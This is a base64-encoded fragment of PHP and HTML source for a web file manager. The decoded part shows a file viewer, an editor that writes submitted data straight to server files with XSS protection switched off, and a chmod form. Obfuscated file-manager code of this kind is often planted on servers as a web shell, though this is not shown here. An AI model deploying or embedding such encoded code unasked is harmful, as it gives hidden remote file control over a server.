gICAgICAgICAgICAgICAgICAgPC9mb3JtPiZuYnNwOw0KICAgICAgICAgICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBpZiAoJGlzX3RleHQgJiYgIUZNX1JFQURPTkxZKSB7DQogICAgICAgICAgICAgICAgICAgID8+DQogICAgICAgICAgICAgICAgICAgIDxiIGNsYXNzPSJtcy0yIj48YSBocmVmPSI/cD08P3BocCBlY2hvIHVybGVuY29kZSh0cmltKEZNX1BBVEgpKSA/PiZhbXA7ZWRpdD08P3BocCBlY2hvIHVybGVuY29kZSgkZmlsZSkgPz4iIGNsYXNzPSJlZGl0LWZpbGUiPjxpIGNsYXNzPSJmYSBmYS1wZW5jaWwtc3F1YXJlIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdFZGl0JykgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvYT48L2I+ICZuYnNwOw0KICAgICAgICAgICAgICAgICAgICA8YiBjbGFzcz0ibXMtMiI+PGEgaHJlZj0iP3A9PD9waHAgZWNobyB1cmxlbmNvZGUodHJpbShGTV9QQVRIKSkgPz4mYW1wO2VkaXQ9PD9waHAgZWNobyB1cmxlbmNvZGUoJGZpbGUpID8+JmVudj1hY2UiDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2xhc3M9ImVkaXQtZmlsZSI+PGkgY2xhc3M9ImZhIGZhLXBlbmNpbC1zcXVhcmUtbyI+PC9pPiA8P3BocCBlY2hvIGxuZygnQWR2YW5jZWRFZGl0b3InKSA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9hPjwvYj4gJm5ic3A7DQogICAgICAgICAgICAgICAgPD9waHAgfSA/Pg0KICAgICAgICAgICAgICAgIDxiIGNsYXNzPSJtcy0yIj48YSBocmVmPSI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiI+PGkgY2xhc3M9ImZhIGZhLWNoZXZyb24tY2lyY2xlLWxlZnQgZ28tYmFjayI+PC9pPiA8P3BocCBlY2hvIGxuZygnQmFjaycpID8+PC9hPjwvYj4NCiAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgPD9waHANCiAgICAgICAgICAgIGlmKCRpc19vbmxpbmVWaWV3ZXIpIHsNCiAgICAgICAgICAgICAgICBpZigkb25saW5lX3ZpZXdlciA9PSAnZ29vZ2xlJykgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICc8aWZyYW1lIHNyYz0iaHR0cHM6Ly9kb2NzLmdvb2dsZS5jb20vdmlld2VyP2VtYmVkZGVkPXRydWUmaGw9ZW4mdXJsPScgLiBmbV9lbmMoJGZpbGVfdXJsKSAuICciIGZyYW1lYm9yZGVyPSJubyIgc3R5bGU9IndpZHRoOjEwMCU7bWluLWhlaWdodDo0NjBweCI+PC9pZnJhbWU+JzsNCiAgICAgICAgICAgICAgICB9IGVsc2UgaWYoJG9ubGluZV92aWV3ZXIgPT0gJ21pY3Jvc29mdCcpIHsNCiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGlmcmFtZSBzcmM9Imh0dHBzOi8vdmlldy5vZmZpY2VhcHBzLmxpdmUuY29tL29wL2VtYmVkLmFzcHg/c3JjPScgLiBmbV9lbmMoJGZpbGVfdXJsKSAuICciIGZyYW1lYm9yZGVyPSJubyIgc3R5bGU9IndpZHRoOjEwMCU7bWluLWhlaWdodDo0NjBweCI+PC9pZnJhbWU+JzsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9IGVsc2VpZiAoJGlzX3ppcCkgew0KICAgICAgICAgICAgICAgIC8vIFpJUCBjb250ZW50DQogICAgICAgICAgICAgICAgaWYgKCRmaWxlbmFtZXMgIT09IGZhbHNlKSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxjb2RlIGNsYXNzPSJtYXhoZWlnaHQiPic7DQogICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRmaWxlbmFtZXMgYXMgJGZuKSB7DQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGZuWydmb2xkZXInXSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxiPicgLiBmbV9lbmMoJGZuWyduYW1lJ10pIC4gJzwvYj48YnI+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAkZm5bJ25hbWUnXSAuICcgKCcgLiBmbV9nZXRfZmlsZXNpemUoJGZuWydmaWxlc2l6ZSddKSAuICcpPGJyPic7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgZWNobyAnPC9jb2RlPic7DQogICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgZWNobyAnPHA+Jy5sbmcoJ0Vycm9yIHdoaWxlIGZldGNoaW5nIGFyY2hpdmUgaW5mbycpLic8L3A+JzsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9IGVsc2VpZiAoJGlzX2ltYWdlKSB7DQogICAgICAgICAgICAgICAgLy8gSW1hZ2UgY29udGVudA0KICAgICAgICAgICAgICAgIGlmIChpbl9hcnJheSgkZXh0LCBhcnJheSgnZ2lmJywgJ2pwZycsICdqcGVnJywgJ3BuZycsICdibXAnLCAnaWNvJywgJ3N2ZycsICd3ZWJwJywgJ2F2aWYnKSkpIHsNCiAgICAgICAgICAgICAgICAgICAgZWNobyAnPHA+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBpZD0icHJldmlldy1pbWctem9vbUNoZWNrIj48bGFiZWwgZm9yPSJwcmV2aWV3LWltZy16b29tQ2hlY2siPjxpbWcgc3JjPSInIC4gZm1fZW5jKCRmaWxlX3VybCkgLiAnIiBhbHQ9ImltYWdlIiBjbGFzcz0icHJldmlldy1pbWciPjwvbGFiZWw+PC9wPic7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfSBlbHNlaWYgKCRpc19hdWRpbykgew0KICAgICAgICAgICAgICAgIC8vIEF1ZGlvIGNvbnRlbnQNCiAgICAgICAgICAgICAgICBlY2hvICc8cD48YXVkaW8gc3JjPSInIC4gZm1fZW5jKCRmaWxlX3VybCkgLiAnIiBjb250cm9scyBwcmVsb2FkPSJtZXRhZGF0YSI+PC9hdWRpbz48L3A+JzsNCiAgICAgICAgICAgIH0gZWxzZWlmICgkaXNfdmlkZW8pIHsNCiAgICAgICAgICAgICAgICAvLyBWaWRlbyBjb250ZW50DQogICAgICAgICAgICAgICAgZWNobyAnPGRpdiBjbGFzcz0icHJldmlldy12aWRlbyI+PHZpZGVvIHNyYz0iJyAuIGZtX2VuYygkZmlsZV91cmwpIC4gJyIgd2lkdGg9IjY0MCIgaGVpZ2h0PSIzNjAiIGNvbnRyb2xzIHByZWxvYWQ9Im1ldGFkYXRhIj48L3ZpZGVvPjwvZGl2Pic7DQogICAgICAgICAgICB9IGVsc2VpZiAoJGlzX3RleHQpIHsNCiAgICAgICAgICAgICAgICBpZiAoRk1fVVNFX0hJR0hMSUdIVEpTKSB7DQogICAgICAgICAgICAgICAgICAgIC8vIGhpZ2hsaWdodA0KICAgICAgICAgICAgICAgICAgICAkaGxqc19jbGFzc2VzID0gYXJyYXkoDQogICAgICAgICAgICAgICAgICAgICAgICAnc2h0bWwnID0+ICd4bWwnLA0KICAgICAgICAgICAgICAgICAgICAgICAgJ2h0YWNjZXNzJyA9PiAnYXBhY2hlJywNCiAgICAgICAgICAgICAgICAgICAgICAgICdwaHRtbCcgPT4gJ3BocCcsDQogICAgICAgICAgICAgICAgICAgICAgICAnbG9jaycgPT4gJ2pzb24nLA0KICAgICAgICAgICAgICAgICAgICAgICAgJ3N2ZycgPT4gJ3htbCcsDQogICAgICAgICAgICAgICAgICAgICk7DQogICAgICAgICAgICAgICAgICAgICRobGpzX2NsYXNzID0gaXNzZXQoJGhsanNfY2xhc3Nlc1skZXh0XSkgPyAnbGFuZy0nIC4gJGhsanNfY2xhc3Nlc1skZXh0XSA6ICdsYW5nLScgLiAkZXh0Ow0KICAgICAgICAgICAgICAgICAgICBpZiAoZW1wdHkoJGV4dCkgfHwgaW5fYXJyYXkoc3RydG9sb3dlcigkZmlsZSksIGZtX2dldF90ZXh0X25hbWVzKCkpIHx8IHByZWdfbWF0Y2goJyNcLm1pblwuKGNzc3xqcykkI2knLCAkZmlsZSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRobGpzX2NsYXNzID0gJ25vaGlnaGxpZ2h0JzsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAkY29udGVudCA9ICc8cHJlIGNsYXNzPSJ3aXRoLWhsanMiPjxjb2RlIGNsYXNzPSInIC4gJGhsanNfY2xhc3MgLiAnIj4nIC4gZm1fZW5jKCRjb250ZW50KSAuICc8L2NvZGU+PC9wcmU+JzsNCiAgICAgICAgICAgICAgICB9IGVsc2VpZiAoaW5fYXJyYXkoJGV4dCwgYXJyYXkoJ3BocCcsICdwaHA0JywgJ3BocDUnLCAncGh0bWwnLCAncGhwcycpKSkgew0KICAgICAgICAgICAgICAgICAgICAvLyBwaHAgaGlnaGxpZ2h0DQogICAgICAgICAgICAgICAgICAgICRjb250ZW50ID0gaGlnaGxpZ2h0X3N0cmluZygkY29udGVudCwgdHJ1ZSk7DQogICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgJGNvbnRlbnQgPSAnPHByZT4nIC4gZm1fZW5jKCRjb250ZW50KSAuICc8L3ByZT4nOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBlY2hvICRjb250ZW50Ow0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgPz4NCiAgICAgICAgPC9kaXY+DQogICAgPC9kaXY+DQogICAgPD9waHANCiAgICAgICAgZm1fc2hvd19mb290ZXIoKTsNCiAgICBleGl0Ow0KfQ0KDQovLyBmaWxlIGVkaXRvcg0KaWYgKGlzc2V0KCRfR0VUWydlZGl0J10pICYmICFGTV9SRUFET05MWSkgew0KICAgICRmaWxlID0gJF9HRVRbJ2VkaXQnXTsNCiAgICAkZmlsZSA9IGZtX2NsZWFuX3BhdGgoJGZpbGUsIGZhbHNlKTsNCiAgICAkZmlsZSA9IHN0cl9yZXBsYWNlKCcvJywgJycsICRmaWxlKTsNCiAgICBpZiAoJGZpbGUgPT0gJycgfHwgIWlzX2ZpbGUoJHBhdGggLiAnLycgLiAkZmlsZSkgfHwgIWZtX2lzX2V4Y2x1ZGVfaXRlbXMoJGZpbGUpKSB7DQogICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG5vdCBmb3VuZCcpLCAnZXJyb3InKTsNCiAgICAgICAgJEZNX1BBVEg9Rk1fUEFUSDsgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpOw0KICAgIH0NCiAgICAkZWRpdEZpbGUgPSAnIDogPGk+PGI+Jy4gJGZpbGUuICc8L2I+PC9pPic7DQogICAgaGVhZGVyKCdYLVhTUy1Qcm90ZWN0aW9uOjAnKTsNCiAgICBmbV9zaG93X2hlYWRlcigpOyAvLyBIRUFERVINCiAgICBmbV9zaG93X25hdl9wYXRoKEZNX1BBVEgpOyAvLyBjdXJyZW50IHBhdGgNCg0KICAgICRmaWxlX3VybCA9IEZNX1JPT1RfVVJMIC4gZm1fY29udmVydF93aW4oKEZNX1BBVEggIT0gJycgPyAnLycgLiBGTV9QQVRIIDogJycpIC4gJy8nIC4gJGZpbGUpOw0KICAgICRmaWxlX3BhdGggPSAkcGF0aCAuICcvJyAuICRmaWxlOw0KDQogICAgLy8gbm9ybWFsIGVkaXRlcg0KICAgICRpc05vcm1hbEVkaXRvciA9IHRydWU7DQogICAgaWYgKGlzc2V0KCRfR0VUWydlbnYnXSkpIHsNCiAgICAgICAgaWYgKCRfR0VUWydlbnYnXSA9PSAiYWNlIikgew0KICAgICAgICAgICAgJGlzTm9ybWFsRWRpdG9yID0gZmFsc2U7DQogICAgICAgIH0NCiAgICB9DQoNCiAgICAvLyBTYXZlIEZpbGUNCiAgICBpZiAoaXNzZXQoJF9QT1NUWydzYXZlZGF0YSddKSkgew0KICAgICAgICAkd3JpdGVkYXRhID0gJF9QT1NUWydzYXZlZGF0YSddOw0KICAgICAgICAkZmQgPSBmb3BlbigkZmlsZV9wYXRoLCAidyIpOw0KICAgICAgICBAZndyaXRlKCRmZCwgJHdyaXRlZGF0YSk7DQogICAgICAgIGZjbG9zZSgkZmQpOw0KICAgICAgICBmbV9zZXRfbXNnKGxuZygnRmlsZSBTYXZlZCBTdWNjZXNzZnVsbHknKSk7DQogICAgfQ0KDQogICAgJGV4dCA9IHN0cnRvbG93ZXIocGF0aGluZm8oJGZpbGVfcGF0aCwgUEFUSElORk9fRVhURU5TSU9OKSk7DQogICAgJG1pbWVfdHlwZSA9IGZtX2dldF9taW1lX3R5cGUoJGZpbGVfcGF0aCk7DQogICAgJGZpbGVzaXplID0gZmlsZXNpemUoJGZpbGVfcGF0aCk7DQogICAgJGlzX3RleHQgPSBmYWxzZTsNCiAgICAkY29udGVudCA9ICcnOyAvLyBmb3IgdGV4dA0KDQogICAgaWYgKGluX2FycmF5KCRleHQsIGZtX2dldF90ZXh0X2V4dHMoKSkgfHwgc3Vic3RyKCRtaW1lX3R5cGUsIDAsIDQpID09ICd0ZXh0JyB8fCBpbl9hcnJheSgkbWltZV90eXBlLCBmbV9nZXRfdGV4dF9taW1lcygpKSkgew0KICAgICAgICAkaXNfdGV4dCA9IHRydWU7DQogICAgICAgICRjb250ZW50ID0gZmlsZV9nZXRfY29udGVudHMoJGZpbGVfcGF0aCk7DQogICAgfQ0KDQogICAgPz4NCiAgICA8ZGl2IGNsYXNzPSJwYXRoIj4NCiAgICAgICAgPGRpdiBjbGFzcz0icm93Ij4NCiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC14cy0xMiBjb2wtc20tNSBjb2wtbGctNiBwdC0xIj4NCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJidG4tdG9vbGJhciIgcm9sZT0idG9vbGJhciI+DQogICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICghJGlzTm9ybWFsRWRpdG9yKSB7ID8+DQogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJidG4tZ3JvdXAganMtYWNlLXRvb2xiYXIiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gZGF0YS1jbWQ9Im5vbmUiIGRhdGEtb3B0aW9uPSJmdWxsc2NyZWVuIiBjbGFzcz0iYnRuIGJ0bi1zbSBidG4tb3V0bGluZS1zZWNvbmRhcnkiIGlkPSJqcy1hY2UtZnVsbHNjcmVlbiIgdGl0bGU9Ijw/cGhwIGVjaG8gbG5nKCdGdWxsc2NyZWVuJykgPz4iPjxpIGNsYXNzPSJmYSBmYS1leHBhbmQiIHRpdGxlPSI8P3BocCBlY2hvIGxuZygnRnVsbHNjcmVlbicpID8+Ij48L2k+PC9idXR0b24+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiBkYXRhLWNtZD0iZmluZCIgY2xhc3M9ImJ0biBidG4tc20gYnRuLW91dGxpbmUtc2Vjb25kYXJ5IiBpZD0ianMtYWNlLXNlYXJjaCIgdGl0bGU9Ijw/cGhwIGVjaG8gbG5nKCdTZWFyY2gnKSA/PiI+PGkgY2xhc3M9ImZhIGZhLXNlYXJjaCIgdGl0bGU9Ijw/cGhwIGVjaG8gbG5nKCdTZWFyY2gnKSA/PiI+PC9pPjwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gZGF0YS1jbWQ9InVuZG8iIGNsYXNzPSJidG4gYnRuLXNtIGJ0bi1vdXRsaW5lLXNlY29uZGFyeSIgaWQ9ImpzLWFjZS11bmRvIiB0aXRsZT0iPD9waHAgZWNobyBsbmcoJ1VuZG8nKSA/PiI+PGkgY2xhc3M9ImZhIGZhLXVuZG8iIHRpdGxlPSI8P3BocCBlY2hvIGxuZygnVW5kbycpID8+Ij48L2k+PC9idXR0b24+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiBkYXRhLWNtZD0icmVkbyIgY2xhc3M9ImJ0biBidG4tc20gYnRuLW91dGxpbmUtc2Vjb25kYXJ5IiBpZD0ianMtYWNlLXJlZG8iIHRpdGxlPSI8P3BocCBlY2hvIGxuZygnUmVkbycpID8+Ij48aSBjbGFzcz0iZmEgZmEtcmVwZWF0IiB0aXRsZT0iPD9waHAgZWNobyBsbmcoJ1JlZG8nKSA/PiI+PC9pPjwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gZGF0YS1jbWQ9Im5vbmUiIGRhdGEtb3B0aW9uPSJ3cmFwIiBjbGFzcz0iYnRuIGJ0bi1zbSBidG4tb3V0bGluZS1zZWNvbmRhcnkiIGlkPSJqcy1hY2Utd29yZFdyYXAiIHRpdGxlPSI8P3BocCBlY2hvIGxuZygnV29yZCBXcmFwJykgPz4iPjxpIGNsYXNzPSJmYSBmYS10ZXh0LXdpZHRoIiB0aXRsZT0iPD9waHAgZWNobyBsbmcoJ1dvcmQgV3JhcCcpID8+Ij48L2k+PC9idXR0b24+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNlbGVjdCBpZD0ianMtYWNlLW1vZGUiIGRhdGEtdHlwZT0ibW9kZSIgdGl0bGU9Ijw/cGhwIGVjaG8gbG5nKCdTZWxlY3QgRG9jdW1lbnQgVHlwZScpID8+IiBjbGFzcz0iYnRuLW91dGxpbmUtc2Vjb25kYXJ5IGJvcmRlci1zdGFydC0wIGQtbm9uZSBkLW1kLWJsb2NrIj48b3B0aW9uPi0tIDw/cGhwIGVjaG8gbG5nKCdTZWxlY3QgTW9kZScpID8+IC0tPC9vcHRpb24+PC9zZWxlY3Q+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNlbGVjdCBpZD0ianMtYWNlLXRoZW1lIiBkYXRhLXR5cGU9InRoZW1lIiB0aXRsZT0iPD9waHAgZWNobyBsbmcoJ1NlbGVjdCBUaGVtZScpID8+IiBjbGFzcz0iYnRuLW91dGxpbmUtc2Vjb25kYXJ5IGJvcmRlci1zdGFydC0wIGQtbm9uZSBkLWxnLWJsb2NrIj48b3B0aW9uPi0tIDw/cGhwIGVjaG8gbG5nKCdTZWxlY3QgVGhlbWUnKSA/PiAtLTwvb3B0aW9uPjwvc2VsZWN0Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzZWxlY3QgaWQ9ImpzLWFjZS1mb250U2l6ZSIgZGF0YS10eXBlPSJmb250U2l6ZSIgdGl0bGU9Ijw/cGhwIGVjaG8gbG5nKCdTZWxlY3QgRm9udCBTaXplJykgPz4iIGNsYXNzPSJidG4tb3V0bGluZS1zZWNvbmRhcnkgYm9yZGVyLXN0YXJ0LTAgZC1ub25lIGQtbGctYmxvY2siPjxvcHRpb24+LS0gPD9waHAgZWNobyBsbmcoJ1NlbGVjdCBGb250IFNpemUnKSA/PiAtLTwvb3B0aW9uPjwvc2VsZWN0Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgIDw/cGhwIH0gPz4NCiAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0iZWRpdC1maWxlLWFjdGlvbnMgY29sLXhzLTEyIGNvbC1zbS03IGNvbC1sZy02IHRleHQtZW5kIHB0LTEiPg0KICAgICAgICAgICAgICAgIDxhIHRpdGxlPSI8P3BocCBlY2hvIGxuZygnQmFjaycpID8+IiBjbGFzcz0iYnRuIGJ0bi1zbSBidG4tb3V0bGluZS1wcmltYXJ5IiBocmVmPSI/cD08P3BocCBlY2hvIHVybGVuY29kZSh0cmltKEZNX1BBVEgpKSA/PiZhbXA7dmlldz08P3BocCBlY2hvIHVybGVuY29kZSgkZmlsZSkgPz4iPjxpIGNsYXNzPSJmYSBmYS1yZXBseS1hbGwiPjwvaT4gPD9waHAgZWNobyBsbmcoJ0JhY2snKSA/PjwvYT4NCiAgICAgICAgICAgICAgICA8YSB0aXRsZT0iPD9waHAgZWNobyBsbmcoJ0JhY2tVcCcpID8+IiBjbGFzcz0iYnRuIGJ0bi1zbSBidG4tb3V0bGluZS1wcmltYXJ5IiBocmVmPSJqYXZhc2NyaXB0OnZvaWQoMCk7IiBvbmNsaWNrPSJiYWNrdXAoJzw/cGhwIGVjaG8gdXJsZW5jb2RlKHRyaW0oRk1fUEFUSCkpID8+JywnPD9waHAgZWNobyB1cmxlbmNvZGUoJGZpbGUpID8+JykiPjxpIGNsYXNzPSJmYSBmYS1kYXRhYmFzZSI+PC9pPiA8P3BocCBlY2hvIGxuZygnQmFja1VwJykgPz48L2E+DQogICAgICAgICAgICAgICAgPD9waHAgaWYgKCRpc190ZXh0KSB7ID8+DQogICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmKCRpc05vcm1hbEVkaXRvcikgeyA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9IkFkdmFuY2VkIiBjbGFzcz0iYnRuIGJ0bi1zbSBidG4tb3V0bGluZS1wcmltYXJ5IiBocmVmPSI/cD08P3BocCBlY2hvIHVybGVuY29kZSh0cmltKEZNX1BBVEgpKSA/PiZhbXA7ZWRpdD08P3BocCBlY2hvIHVybGVuY29kZSgkZmlsZSkgPz4mYW1wO2Vudj1hY2UiPjxpIGNsYXNzPSJmYSBmYS1wZW5jaWwtc3F1YXJlLW8iPjwvaT4gPD9waHAgZWNobyBsbmcoJ0FkdmFuY2VkRWRpdG9yJykgPz48L2E+DQogICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9ImJ1dHRvbiIgY2xhc3M9ImJ0biBidG4tc20gYnRuLXN1Y2Nlc3MiIG5hbWU9IlNhdmUiIGRhdGEtdXJsPSI8P3BocCBlY2hvIGZtX2VuYygkZmlsZV91cmwpID8+IiBvbmNsaWNrPSJlZGl0X3NhdmUodGhpcywnbnJsJykiPjxpIGNsYXNzPSJmYSBmYS1mbG9wcHktbyI+PC9pPiBTYXZlDQogICAgICAgICAgICAgICAgICAgICAgICA8L2J1dHRvbj4NCiAgICAgICAgICAgICAgICAgICAgPD9waHAgfSBlbHNlIHsgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPSJQbGFpbiBFZGl0b3IiIGNsYXNzPSJidG4gYnRuLXNtIGJ0bi1vdXRsaW5lLXByaW1hcnkiIGhyZWY9Ij9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKHRyaW0oRk1fUEFUSCkpID8+JmFtcDtlZGl0PTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKSA/PiI+PGkgY2xhc3M9ImZhIGZhLXRleHQtaGVpZ2h0Ij48L2k+IDw/cGhwIGVjaG8gbG5nKCdOb3JtYWxFZGl0b3InKSA/PjwvYT4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1zbSBidG4tc3VjY2VzcyIgbmFtZT0iU2F2ZSIgZGF0YS11cmw9Ijw/cGhwIGVjaG8gZm1fZW5jKCRmaWxlX3VybCkgPz4iIG9uY2xpY2s9ImVkaXRfc2F2ZSh0aGlzLCdhY2UnKSI+PGkgY2xhc3M9ImZhIGZhLWZsb3BweS1vIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdTYXZlJykgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICA8P3BocCB9ID8+DQogICAgICAgICAgICAgICAgPD9waHAgfSA/Pg0KICAgICAgICAgICAgPC9kaXY+DQogICAgICAgIDwvZGl2Pg0KICAgICAgICA8P3BocA0KICAgICAgICBpZiAoJGlzX3RleHQgJiYgJGlzTm9ybWFsRWRpdG9yKSB7DQogICAgICAgICAgICBlY2hvICc8dGV4dGFyZWEgY2xhc3M9Im10LTIiIGlkPSJub3JtYWwtZWRpdG9yIiByb3dzPSIzMyIgY29scz0iMTIwIiBzdHlsZT0id2lkdGg6IDk5LjUlOyI+JyAuIGh0bWxzcGVjaWFsY2hhcnMoJGNvbnRlbnQpIC4gJzwvdGV4dGFyZWE+JzsNCiAgICAgICAgICAgIGVjaG8gJzxzY3JpcHQ+ZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcigia2V5ZG93biIsIGZ1bmN0aW9uKGUpIHtpZiAoKHdpbmRvdy5uYXZpZ2F0b3IucGxhdGZvcm0ubWF0Y2goIk1hYyIpID8gZS5tZXRhS2V5IDogZS5jdHJsS2V5KSAgJiYgZS5rZXlDb2RlID09IDgzKSB7IGUucHJldmVudERlZmF1bHQoKTtlZGl0X3NhdmUodGhpcywibnJsIik7fX0sIGZhbHNlKTs8L3NjcmlwdD4nOw0KICAgICAgICB9IGVsc2VpZiAoJGlzX3RleHQpIHsNCiAgICAgICAgICAgIGVjaG8gJzxkaXYgaWQ9ImVkaXRvciIgY29udGVudGVkaXRhYmxlPSJ0cnVlIj4nIC4gaHRtbHNwZWNpYWxjaGFycygkY29udGVudCkgLiAnPC9kaXY+JzsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGZtX3NldF9tc2cobG5nKCdGSUxFIEVYVEVOU0lPTiBIQVMgTk9UIFNVUFBPUlRFRCcpLCAnZXJyb3InKTsNCiAgICAgICAgfQ0KICAgICAgICA/Pg0KICAgIDwvZGl2Pg0KICAgIDw/cGhwDQogICAgZm1fc2hvd19mb290ZXIoKTsNCiAgICBleGl0Ow0KfQ0KDQovLyBjaG1vZCAobm90IGZvciBXaW5kb3dzKQ0KaWYgKGlzc2V0KCRfR0VUWydjaG1vZCddKSAmJiAhRk1fUkVBRE9OTFkgJiYgIUZNX0lTX1dJTikgew0KICAgICRmaWxlID0gJF9HRVRbJ2NobW9kJ107DQogICAgJGZpbGUgPSBmbV9jbGVhbl9wYXRoKCRmaWxlKTsNCiAgICAkZmlsZSA9IHN0cl9yZXBsYWNlKCcvJywgJycsICRmaWxlKTsNCiAgICBpZiAoJGZpbGUgPT0gJycgfHwgKCFpc19maWxlKCRwYXRoIC4gJy8nIC4gJGZpbGUpICYmICFpc19kaXIoJHBhdGggLiAnLycgLiAkZmlsZSkpKSB7DQogICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG5vdCBmb3VuZCcpLCAnZXJyb3InKTsNCiAgICAgICAgJEZNX1BBVEg9Rk1fUEFUSDsgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpOw0KICAgIH0NCg0KICAgIGZtX3Nob3dfaGVhZGVyKCk7IC8vIEhFQURFUg0KICAgIGZtX3Nob3dfbmF2X3BhdGgoRk1fUEFUSCk7IC8vIGN1cnJlbnQgcGF0aA0KDQogICAgJGZpbGVfdXJsID0gRk1fUk9PVF9VUkwgLiAoRk1fUEFUSCAhPSAnJyA/ICcvJyAuIEZNX1BBVEggOiAnJykgLiAnLycgLiAkZmlsZTsNCiAgICAkZmlsZV9wYXRoID0gJHBhdGggLiAnLycgLiAkZmlsZTsNCg0KICAgICRtb2RlID0gZmlsZXBlcm1zKCRwYXRoIC4gJy8nIC4gJGZpbGUpOw0KICAgID8+DQogICAgPGRpdiBjbGFzcz0icGF0aCI+DQogICAgICAgIDxkaXYgY2xhc3M9ImNhcmQgbWItMiA8P3BocCBlY2hvIGZtX2dldF90aGVtZSgpOyA/PiI+DQogICAgICAgICAgICA8aDYgY2xhc3M9ImNhcmQtaGVhZGVyIj4NCiAgICAgICAgICAgICAgICA8P3BocCBlY2hvIGxuZygnQ2hhbmdlUGVybWlzc2lvbnMnKSA/Pg0KICAgICAgICAgICAgPC9oNj4NCiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNhcmQtYm9keSI+DQogICAgICAgICAgICAgICAgPHAgY2xhc3M9ImNhcmQtdGV4dCI+DQogICAgICAgICAgICAgICAgICAgIDw/cGhwICRkaXNwbGF5X3BhdGggPSBmbV9nZXRfZGlzcGxheV9wYXRoKCRmaWxlX3BhdGgpOyA/Pg0KICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvICRkaXNwbGF5X3BhdGhbJ2xhYmVsJ107ID8+OiA8P3BocCBlY2hvICRkaXNwbGF5X3BhdGhbJ3BhdGgnXTsgPz48YnI+DQogICAgICAgICAgICAgICAgPC9wPg0KICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPg0KICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwIiB2YWx1ZT0iPD9waHAgZWNobyBmbV9lbmMoRk1fUEFUSCkgPz4iPg0KICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJjaG1vZCIgdmFsdWU9Ijw/cGhwIGVjaG8gZm1fZW5jKCRmaWxlKSA/PiI+DQoNCiAgICAgICAgICAgICAgICAgICAgPHRhYmxlIGNsYXNzPSJ0YWJsZSBjb21wYWN0LXRhYmxlIDw/cGhwIGVjaG8gZm1fZ2V0X3RoZW1lKCk7ID8+Ij4NCiAgICAgICAgICAgICAgICAgICAgICA